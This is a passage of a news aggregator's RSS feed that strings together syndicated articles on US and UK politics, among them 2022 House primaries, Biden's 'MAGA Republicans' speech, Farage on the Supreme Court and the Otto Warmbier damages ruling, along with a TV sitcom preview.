And four out of six member-on-member contests that have taken place so far in 2022 saw the member who represented less of their new district winning their race, according to Daily Kos Elections. In Georgia, for example, McBath won despite representing just 12% of her new district, while her opponent represented over 57% of it.    

Partisanship and ideology are now playing a more prominent role than age and seniority in shaping House primaries, especially on the Republican side. 

The winners of the two 2022 primaries where Republican incumbents faced each other, Miller and Mooney had firmly aligned with Trump's wing of the Republican Party, earned Trump's endorsement, and also enjoyed outside spending on their behalf by groups like the Club for Growth and the political arm of the House Freedom Caucus. 

In Illinois, Miller defeated Davis by 14 points despite raising and spending less money than Davis, serving in Congress for less time, and only representing slightly more of the new district. Mooney, who also served less time and represented just a third of the redrawn district, defeated McKinley by an even wider margin of 18 points. 

Knocking out an incumbent with years of lawmaking experience is still difficult, and older candidates' structural advantages aren't disappearing. But the forces of partisanship are making it easier for challengers. 

House Republicans who fought the Trumpian takeover of the party, like Reps. Liz Cheney, Tom Rice, Peter Meijer, and Jaime Herrera Beutler, all lost to Trump-backed primary challengers. And others, like Kinzinger and Reps. Anthony Gonzalez, John Katko, and Fred Upton, chose to forgo running altogether. 

In all, 14 House incumbents lost renomination in 2022, the highest number in a single cycle since 1992. The forces of partisanship and polarization, Carson said, would have pushed that number even higher if not for dozens of members heading for the exits.

"For the longest time, it was hard to beat incumbents because people of the opposite party would be willing to cross party lines," Carson said. "That has changed. If you're a Democrat in a Republican district, your days are probably numbered."

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]]> https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/feed/ 0 Bill Gates says political polarization ‘may bring it all to an end’ and could even lead to a civil war https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/ https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/#respond Sat, 24 Sep 2022 21:10:06 +0000 https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/ bill gates

P Yim / Getty

  • Bill Gates is sounding the alarm on political polarization in the US.
  • "Political polarization may bring it all to an end, we're going to have a hung election and a civil war," he told Forbes recently.
  • Gates, who has been the target of many conspiracy theories over the years, also pointed out the dangers of misinformation.

Bill Gates usually focuses on issues like poverty and infectious diseases through his charitable foundation, but another problem on his mind is the polarization of US politics.

"I admit that political polarization may bring it all to an end, we're going to have a hung election and a civil war," he recently said in the keynote conversation at this year's Forbes 400 Summit on Philanthropy. "I have no expertise in that. I'm not going to divert my money to that because I wouldn't know how to spend it."

Political polarization, he says, goes hand-in-hand with another issue: the spread of misinformation.

"The polarization and lack of trust is a problem," he continued to Forbes. "One of the best-selling books last year was a book by Robert Kennedy, saying that I like to make money and kill millions of people with vaccines. It's wild that sells well."

Over the years, Gates and ex-wife Melinda French Gates have donated billions to vaccine research, development, and delivery through their foundation. Gates has been the subject of conspiracy theories that claim he puts microchips in vaccines to track people. Earlier this month, Gates said people have yelled such accusations at him on the street.

"People seek simple solutions [and] the truth is kind of boring sometimes. Anybody who's got good innovations on reducing polarization, getting the truth to be as interesting as the crazy stuff, that would be well worth investing in," Gates told Forbes.

Gates' summer reading list for this year, which he announced in June, includes "Why We're Polarized" by Ezra Klein.

"I'm generally optimistic about the future, but one thing that dampens my outlook a bit is the increasing polarization in America, especially when it comes to politics," Gates wrote at the time in a blog post about his book picks.

Also during the Forbes keynote conversation, Gates said he and his ex-wife, Melinda French Gates, hope to keep their charitable foundation running for 25 more years to focus on tackling infectious diseases.

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]]> https://briefnews.eu/bill-gates-says-political-polarization-may-bring-it-all-to-an-end-and-could-even-lead-to-a-civil-war/feed/ 0 Biden lambastes ‘MAGA Republicans’ in rare prime time attack just 2 months before the midterms: ‘There is no place for political violence in America’ https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/ https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/#respond Fri, 02 Sep 2022 05:15:41 +0000 https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/ Biden Independence Hall
President Joe Biden speaks outside Independence Hall, Thursday, Sept. 1, 2022, in Philadelphia.

(AP Photo/Evan Vucci)

  • President Joe Biden on Thursday delivered a speech on the "battle for the soul of the nation." 
  • The president assailed "MAGA Republicans," who he said are determined to take the country backwards.
  • "For a long time, we've reassured ourselves that American democracy is guaranteed," he said. "But it is not.

With some of his strongest statements yet, President Joe Biden assailed "MAGA Republicans" in a rare prime-time speech on Thursday evening, as he spoke of an impending "battle for the soul of the nation," just two months ahead of the November midterm elections.

Though his administration advertised the speech as an official White House event and not a campaign event, Biden's televised comments come as he works to drum up support for Democratic lawmakers in an effort to help his party maintain control of Congress.

Biden delivered his remarks from the Independence National Historical Park in Philadelphia at 8 p.m. ET on Thursday night, channeling the venue's "sacred" history in his early statements. 

"Tonight I have come here to the place where it all began to speak plainly as I can to the nation about the threats we face, about the power we have in our hands to meet these threats," he said. "And about the incredible future that lies in front of us if only we choose it."

Biden has mostly avoided using Trump's name in recent speeches, but by naming him Thursday, he offered a more pointed attack at the former president and his supporters, accusing them of embracing extremism. 

"MAGA forces are determined to take this country backwards. Backwards to an America where there is no right to choose, no right to privacy, no right to contraception, no right to marry who you love," Biden said. "They promote authoritarian leaders and fan the flames of political violence."

The president acknowledged that the majority of Republicans are not the type of people about which he was talking, but said the current Republican Party is undoubtedly "dominated, driven, and intimidated by MAGA Republicans," and called it a threat to our country. 

"For a long time, we've told ourselves that American democracy is guaranteed. But it is not. We have to defend it. Protect it. Stand up for it. Each and every one of us," the president said. 

Biden went off-script at one point to describe "darkness like you're hearing in that bullhorn," referring to protests outside the hall.

He urged the country to come together and unite behind a single purpose in rejecting MAGA ideology, while castigating insurrectionists and stressing the danger of undermining election integrity. 

"There's no place for political violence in America," he said to applause from the crowd.

In a statement shared with Insider, Republican National Committee Chairwoman Ronna McDaniel said Biden's "wretched attacks" on millions of Americans are fueling division in the country.

"His agenda has pitted neighbors against each other, rewarded the wealthy while punishing working families, and trampled on the rights and freedoms of Americans," McDaniel said. "Joe Biden is the divider-in-chief and epitomizes the current state of the Democrat Party: one of divisiveness, disgust, and hostility towards half the country."

The president's comments come just days after he suggested at a Democratic fundraiser that the ideology of the MAGA Republicans who have embraced former President Donald Trump's worldview have paved the way for "semi-fascism" in the country. 

Biden also took time during the speech to highlight some of his legislative successes, including a gun safety law and a recent healthcare reform and climate package, and made promises for the future, including ending cancer and providing more clean jobs. 

"Democracy must be defended, for democracy makes all these things possible," he said. 

The president ended his speech by encouraging people to "vote, vote, vote," and made mention of doing "our duty" in 2022 and beyond. 

But whether or not most Americans heard Biden's plea remains unclear. The three primary broadcasting networks chose not to carry his speech, opting to show their regular-scheduled programming instead. 

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]]> https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/feed/ 0 Last Man Standing Star and EP Tease a Pregnancy, a Political Run and Kyle’s Holy Order — Watch Sneak Peek https://briefnews.eu/last-man-standing-star-and-ep-tease-a-pregnancy-a-political-run-and-kyles-holy-order-watch-sneak-peek/ https://briefnews.eu/last-man-standing-star-and-ep-tease-a-pregnancy-a-political-run-and-kyles-holy-order-watch-sneak-peek/#respond Thu, 02 Jan 2020 04:43:49 +0000 http://briefnews.eu/last-man-standing-star-and-ep-tease-a-pregnancy-a-political-run-and-kyles-holy-order-watch-sneak-peek/

RELATED STORIES

Last Man Standing won’t shy away from hot-button issues in 2020.

As it enters its eighth season (its second on Fox), the Tim Allen comedy will delve into politics and religion in ways that it has not done before — and in ways that have the potential to permanently alter dynamics within the Baxter family.

Ahead of the double-episode premiere (Thursday at 8/7c), TVLine spoke with executive producer Kevin Abbott and series star Molly McCook (aka Mandy No. 2) about what’s coming up in the new year.

MIKE & VANESSA | Mr. and Mrs. Baxter will enter a new phase of their lives as empty-nesters. “It kind of changes everything,” Abbott tells TVLine. “We play on the fact that there are no longer any children in the house throughout the first 10 or 11 episodes.” The premiere is “ultimately about a lack of communication brought on by physical distance,” and Mike’s efforts to remedy that distance to appease Vanessa.

'Last Man Standing' Season 8 - Mike and ChuckEpisode 2 will beget a larger discussion about how Mike and Vanessa plan to spend their free time: “If part of your purpose every day is taking care of these people in the house, and that responsibility goes away, how do you react to that? Is it freeing, or is it somehow a loss?” Rather than sit around and twiddle his thumbs, Mike decides to go into business with Chuck — but their plan to open a classic car renovation service crashes when Joe (recurring guest star Jay Leno) is invited to join in. “There’s a fun little story that spins out from that,” Abbott says.

While Mike fixes cars, Vanessa will take stock of her own booming business. “She discovers that her tutoring business is thriving because the educational system is failing… and she decides to run for [State Assembly],” Abbott reveals. “We always talk a little bit about politics on the show, so it’s a way for us to introduce some subject matter without being too partisan and too issue-oriented.”

KRISTIN & RYAN | In the premiere, Mike invites Kristin, Mandy and Eve over for dinner, where Kristin reveals that — Spoiler alert! — she’s pregnant. The storyline was dictated by portrayer Amanda Fuller’s real-life pregnancy, and Abbott’s desire not to try and write around it. “I’ve been on enough shows where you try to hide it, and it really doesn’t work too well,” he says. (Fuller gave birth to her first child in November.)

'Last Man Standing' Season 8 - Kristin and RyanAnother episode will find “Kristin and the entire family delighting in the fact that this time around, they actually get to walk into church and say, ‘Hey, we’re pregnant!’ because she’s married and she’s got a career, as opposed to the first time [when she was a teenager and had Boyd out of wedlock],” Abbott says. And unlike her first pregnancy, Ryan is actively involved, which the EP says “absolutely comes into play” — the idea of “what it’s like this time versus what it was like last time” Kristin was having a baby, “and just how different it is — both in good and bad ways.”

MANDY & KYLE | While Mike and Vanessa are ecstatic for Kristin and Ryan, Mandy has mixed feelings about her sister’s pregnancy. “She’s dealing with a little bit of jealousy and a little bit of FOMO,” McCook tells TVLine. “Last season, we found out that Mandy and Kyle were having some ‘technical issues’ with trying to get pregnant… She’s happy for Kristin, but she’s hoping for kids herself, and it seems like her sister is having no trouble popping out babies.”

'Last Man Standing' Season 8 - Kyle and MandyWhile Mandy and Kyle’s family planning will factor into Season 8, their careers also will play a big role this year. “Mandy is now fully working at Outdoor Man with everyone,” McCook says. “It’s fun to see her in that environment because she doesn’t quite fit in, but she’s putting her ‘Mandy sparkle’ on everything that she’s doing,” including her new athleisure line.

As for Kyle, he’ll be considering a major life change, which was first hinted at in Season 7. “We have him contemplating going into ministry,” Abbott reveals. “He’s a religious character, which you don’t really see a lot of on TV. We’ve always referred to him as a ‘pure character’ and a ‘pure spirit,’ and we kind of like that notion of him seeing if there’s a calling to do more with his life.” Should he go that route, the series will explore the impact that has on Mandy, and whether she’s fully on board with her husband’s divine decision. “She always worries when Kyle tells her about some change or some new idea that she’s not one-hundred percent [on board] with,” McCook adds, “but she always trusts him and only wants him to be happy.”

Last Man Standing Season 8 will kick off with three weeks of back-to-back originals, beginning Thursday, Jan. 2 at 8/7c, on Fox. Watch an exclusive sneak peek below, then hit the comments with your reactions.

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]]> https://briefnews.eu/last-man-standing-star-and-ep-tease-a-pregnancy-a-political-run-and-kyles-holy-order-watch-sneak-peek/feed/ 0 Farage grilled by BBC’s Jon Kay over ‘dangerous’ statement on ‘political’ Supreme Court https://briefnews.eu/farage-grilled-by-bbcs-jon-kay-over-dangerous-statement-on-political-supreme-court/ https://briefnews.eu/farage-grilled-by-bbcs-jon-kay-over-dangerous-statement-on-political-supreme-court/#respond Wed, 25 Sep 2019 22:12:10 +0000 http://briefnews.eu/farage-grilled-by-bbcs-jon-kay-over-dangerous-statement-on-political-supreme-court/

The Supreme Court president Lady Hale announced that the Court declared the suspension of Parliament under the Prime Minister as unlawful. As a result, Nigel Farage was interviewed on BBC Breakfast where he gave his opinion on the judgement and the Court to Kay.

Farage began: “For right or wrong we now have a Supreme Court, Tony Blair set it up. It is a political court and it’s made a very political judgement.”

He then went on to speak about the Prime Minister, stating it was a “matter of honour” for him to offer up his resignation to Parliament.

“If the highest court in the land says that you’ve acted unlawfully in your advice to the Queen I think as a matter of honour you have to at least offer your resignation to the House of Commons and ask them to vote on it,” he said.

Farage went on: “The political decision to call a Queen’s speech, while in most years would be a normal thing to do, has had the catastrophic effect in uniting the retainers and uniting the establishment.

READ MORE: Pound to euro exchange rate: GBP improves – no-deal Brexit less likely

“It’s allowed those who have spent three years trying to stop Brexit from happening now claiming they’ve got democracy on their side.

“Whichever way you look at this politically, it’s an appalling decision.”

But Kay was keen to address Farage’s earlier comment that the Supreme Court is a “political” one.

“I have to pick up on what you said right at the beginning there, that this is a political court. That is rated by some people as a dangerous thing to say, an irresponsible thing to say.

“I think over the months and the years that go by from now we have to decide can we have a Supreme Court acting in this way without having a written constitution but that’s a debate for later on.

“I don’t think at this stage there is any point in anybody questioning the judgement, it is what it is.”

Kay also pressed Farage over what the decision meant for Brexit and his vision of it.

do you think No Deal is now off the table, 31st October now not going to happen?” Kay probed.

Farage responded: “We have a Parliament made up of people who want to stop Brexit from happening and conservative party who pretend they want Brexit but actually over half the MPs sitting in Westminster for the Tories don’t really want Brexit to happen.

“We need a General Election, we need the public to express their will and what’s really interesting is the gap between people’s opinions on Brexit and Parliament’s opinion has got even wider.

“We will not get Brexit, certainly not a meaningful Brexit, without a General Election and without real political change.”

BBC Breakfast airs weekdays at 6am on BBC One.

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]]> https://briefnews.eu/farage-grilled-by-bbcs-jon-kay-over-dangerous-statement-on-political-supreme-court/feed/ 0 Piers Morgan rants about Meghan Markle’s political lectures ‘just smile and hug babies’ https://briefnews.eu/piers-morgan-rants-about-meghan-markles-political-lectures-just-smile-and-hug-babies/ https://briefnews.eu/piers-morgan-rants-about-meghan-markles-political-lectures-just-smile-and-hug-babies/#respond Tue, 24 Sep 2019 16:30:43 +0000 http://briefnews.eu/piers-morgan-rants-about-meghan-markles-political-lectures-just-smile-and-hug-babies/

Piers continued: “That’s fine, what worries me is it’s ten days, and let’s hope, fingers crossed, they just keep doing that then it’s fine.

“But if they start banging on about their pet issues it’s all going to go horribly wrong.

“You can do it Meghan, just don’t be woke just be that, be a royal. Smiley, happy, dancing, hugging. It’s easy, easy stuff.

“And for that you get the palaces, the tiaras, the freebies…”

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]]> https://briefnews.eu/piers-morgan-rants-about-meghan-markles-political-lectures-just-smile-and-hug-babies/feed/ 0 Political pawn? N. Korea ordered to pay $501mn over US student’s death as Trump pushes new Kim talks https://briefnews.eu/political-pawn-n-korea-ordered-to-pay-501mn-over-us-students-death-as-trump-pushes-new-kim-talks/ https://briefnews.eu/political-pawn-n-korea-ordered-to-pay-501mn-over-us-students-death-as-trump-pushes-new-kim-talks/#respond Tue, 25 Dec 2018 03:48:55 +0000 http://briefnews.eu/political-pawn-n-korea-ordered-to-pay-501mn-over-us-students-death-as-trump-pushes-new-kim-talks/

A US judge has ordered North Korea to pay damages to the family of a student who died in the US after being released from North Korean custody, yet, behind the scenes, both sides seem to have bigger questions in mind.

Beryl Howell, the chief judge of the US District Court for Washington, DC, demanded North Korea pay the imposing sum on Monday, ostensibly as a consequence of 22-year-old Otto Warmbier having been tortured during his 17-month detention in a North Korean work camp in 2016, which allegedly resulted in his coma and eventual death.

It comes as little surprise that the judge’s order to hand over the money was packaged in all of the US’ major political talking points against North Korea, considering that the court-proceedings directly coincide with a diplomatic drive by Donald Trump to lock-down a second meeting with North Korean President Kim Jong Un.




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“An American family, the Warmbiers, experienced North Korea’s brutality first-hand when North Korea seized their son to use as a pawn in that totalitarian state’s global shenanigans and face-off with the United States,” Judge Howell told the court without a hint of irony, despite that just this June Trump himself emphasized how Warmbier’s death helped to facilitate the first meeting between the world leaders. The President  continued to be less than candid this time around on his Twitter account:

It is somewhat inevitable that judge Howell’s fiery words are likely to miss their target alongside the court’s default judgment, considering the fact that North Korea has very few, if any, assets which the US government could seize in order to enforce the payments, and that the Korean’s themselves are rather unlikely to show up in court for an alternative punishment.

The court’s Bombastic rhetoric aside, ramifications for the North are possible if the financial damages were offset onto something more pressing, such as, for instance, ongoing nuclear weapons discussions. Ironically, this means that Warmbier will very directly be used as a pawn in a global power face off – only, not just by the Koreans. North Korea’s position on the question has changed little from a Korean Central News Agency (KCNA) statement released February, which accuses “the Trump clan” of “intentionally stoking up the anti-DPRK smear campaign” over Warmbier’s death, “tarnishing” North Korea’s “international image and finding an excuse for intensifying the international pressure campaign”; in other words, the US is just as ready to use the Warmbier’s family tragedy for political ends.




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The actual number named in the lawsuit, according to the judge, is payment due for North Korea’s liability in “the torture, hostage-taking, and extrajudicial killing of Otto Warmbier,” as well as the related emotional injuries and costs to his mother and father. Despite the possible validity of these claims, the Coroner’s office in Warmbier’s home-state of Ohio claimed the body showed no clear signs of having been tortured, the doctor even said that his body and skin were in “excellent condition” given that he had been bedridden in a coma since being sent home from Korea. To complicate matters, Otto’s parents also denied an autopsy, which puts the accounting behind the $ 501,134,683.80 in punitive damages into serious question.




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The wrongful death claim in itself has more than a few untied ends the court seemed ok with safety-pinning together. The experts assigned to determine the cause of death could only come up with the criminally unspecific diagnosis of lack of oxygen. In this case, Asthma is as likely culprit as head trauma, particularly given that a high enough level of trauma to halt breathing would likely be visible. The North Korean side claims that Warmbier had contracted botulism or had a reaction to a sleeping pill. Predictably, they vehemently deny employing torture…However, without even looking into these arguments, there is a more obvious problem with the case from the get-go: the wrongful death case was decided so conclusively despite the fact that no autopsy was conducted to confirm the cause of death in the first place.

The unfortunate fact is that, regardless of the details of Warmbier’s case, both sides are looking at the situation as an opportunity to engage in diplomacy-by-other-means: the US gunning for continued denuclearization talks, and North Korea looking to make a deal on alleviating sanctions. Yet, both sides faithfully pretend to adhere to the issue at hand, the tragic death of a young man, accusing the other of having sneaky politically oriented motivations… well, with the exception of Trump, who sometimes doesn’t seem to be playing the same game of diplomacy as those around him:

Otto Warmbier, a 22-year-old University of Virginia student, was arrested in North Korea for “having committed hostility toward [North Korea] on a mission assigned by an American organization”, according to the KCNA, by stealing a political banner from the staff holding area of the Yanggakdo International Hotel. The Koreans believe Warmbier was punished fairly given that the stolen banner was intended to be used in propaganda efforts against the country. In light of rulings like this Monday’s, it seems broader political questions might prevent a concrete answer about Otto’s death from from being found.

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]]> https://briefnews.eu/political-pawn-n-korea-ordered-to-pay-501mn-over-us-students-death-as-trump-pushes-new-kim-talks/feed/ 0 The towering political figures who died in 2018 https://briefnews.eu/the-towering-political-figures-who-died-in-2018/ https://briefnews.eu/the-towering-political-figures-who-died-in-2018/#respond Fri, 14 Dec 2018 23:14:09 +0000 http://briefnews.eu/the-towering-political-figures-who-died-in-2018/ barbara george hw bushREUTERS/Adrees Latif

  • 2018 witnessed the deaths of several internationally-renowned figures who, for the past century, shaped the world’s political stage for good or bad.
  • Here are 10 of the most prominent politicians, civil rights leaders, dictators, and activists who passed away this year.

George H.W. Bush

Matt Sayles, File via AP

George H.W. Bush, the 41st president of the United States, died at the age of 94 in Houston on November 30th.

Bush, who went by “41” to avoid confusion with son and former president George W. Bush, was a devoted public servant who joined the US armed forces at 18, flying 58 missions during World War II.

After being honorably discharged in 1945, the Yale graduate served as Texas congressman, CIA director, and vice president under Ronald Reagan before becoming president in 1989.

As president, he oversaw the end of the Cold War and made foreign policy his priority, conducting military operations in the Persian Gulf and Panama. He lost his bid for reelection to Bill Clinton in 1993.

He is survived by his five children, 17 grandchildren, eight great-grandchildren, and two siblings. Barbara Bush, his wife of 73 years, died on April 2018.

John McCain

Carolyn Kaster/AP

John McCain, Republican senator from Arizona, died on August 25, 2018 at the age of 81 due to complications stemming from an aggressive form of brain cancer.

An internationally-known Vietnam War hero, McCain was imprisoned and brutally tortured for six years by North Vietnamese forces who shot down his plane in 1967. After his release, McCain received two Purple Hearts and became a politician, winning an Arizona congressional seat in 1982.

He went on to run for Senate, ultimately being reelected five times, most recently in 2016. Known as a “maverick” for his ability to compromise between parties, McCain was the 2008 Republican nominee for president. After losing to Barack Obama, he returned to the Senate and continued serving even after being diagnosed with brain cancer in 2016.

A staunch critic of Donald Trump, McCain cast a remarkable vote against the repeal of Obamacare, his last signature political moment.

Barbara Bush

Scott Olson/Getty Images

The former first lady and wife of George H.W. Bush died in her Houston home on April 17, 2018, at the age of 92.

Barbara Bush first met the future president at the age of 16, marrying him four years later. Together they had six children, including former president George W. Bush. As George’s political career blossomed, Barbara remained by his side, moving with him around the country and the world.

As first lady, Barbara was known for her charitable work leading the Barbara Bush Foundation for Family Literacy. After leaving the White House in 1993, she continued her philanthropic work and split her time between Texas and Maine.

She supported the presidential campaigns of her sons George and Jeb in 2000 and 2016, respectively, and was widely respected for her dedication to her family.

Her marriage to Bush Sr. was the longest in US presidential history and was famed for its ongoing dedication — after 73 years of marriage, they still said “I love you” every night. 


See the rest of the story at Business Insider

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SEE ALSO: Here are some of the best photos capturing the people and events of 2018’s year in politics

]]> https://briefnews.eu/the-towering-political-figures-who-died-in-2018/feed/ 0 North Carolina Republican Mark Harris revealed his campaign owes $34,000 to a political operative accused of illegally collecting — and not submitting — absentee ballots https://briefnews.eu/north-carolina-republican-mark-harris-revealed-his-campaign-owes-34000-to-a-political-operative-accused-of-illegally-collecting-and-not-submitting-absentee-ballots/ https://briefnews.eu/north-carolina-republican-mark-harris-revealed-his-campaign-owes-34000-to-a-political-operative-accused-of-illegally-collecting-and-not-submitting-absentee-ballots/#respond Sun, 09 Dec 2018 07:15:33 +0000 http://briefnews.eu/north-carolina-republican-mark-harris-revealed-his-campaign-owes-34000-to-a-political-operative-accused-of-illegally-collecting-and-not-submitting-absentee-ballots/ epublican Congressional candidate for North Carolina's 9th district Mark Harris with President Donald Trump.Sean Rayford/Getty Images

  • Mark Harris, the Republican candidate for the House seat in North Carolina’s 9th congressional district, revealed on Thursday night that his campaign owed over $ 34,000 to a political operative who’s been accused of election fraud. 
  • The operative, Leslie McCrae Dowless, was contracted by a consulting group that Harris’ campaign paid for “Bladen absentee, early voting poll workers; reimbursement door to door,” according to an F.E.C. filing. 
  • Dowless is a convicted felon who has faced jail time for fraud and perjury, but has denied any wrongdoing in his work on this election. 

Mark Harris, the Republican candidate for the House seat in North Carolina’s 9th congressional district, revealed on Thursday night that his campaign owed over $ 34,000 to a political operative who’s been accused of illegally collecting absentee ballots from voters and only sending in those in favor of Harris. 

The operative, Leslie McCrae Dowless, was contracted by Red Dome Group, a Charlotte-based consulting group that Harris’ campaign hired to help turnout voters in rural Bladen County.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/north-carolina-republican-mark-harris-revealed-his-campaign-owes-34000-to-a-political-operative-accused-of-illegally-collecting-and-not-submitting-absentee-ballots/feed/ 0 Why investors in emerging-market bonds are so attuned to political risk https://briefnews.eu/why-investors-in-emerging-market-bonds-are-so-attuned-to-political-risk-2/ https://briefnews.eu/why-investors-in-emerging-market-bonds-are-so-attuned-to-political-risk-2/#respond Sat, 08 Dec 2018 11:14:59 +0000 http://briefnews.eu/why-investors-in-emerging-market-bonds-are-so-attuned-to-political-risk-2/ They must divine not only ability to repay, but willingness

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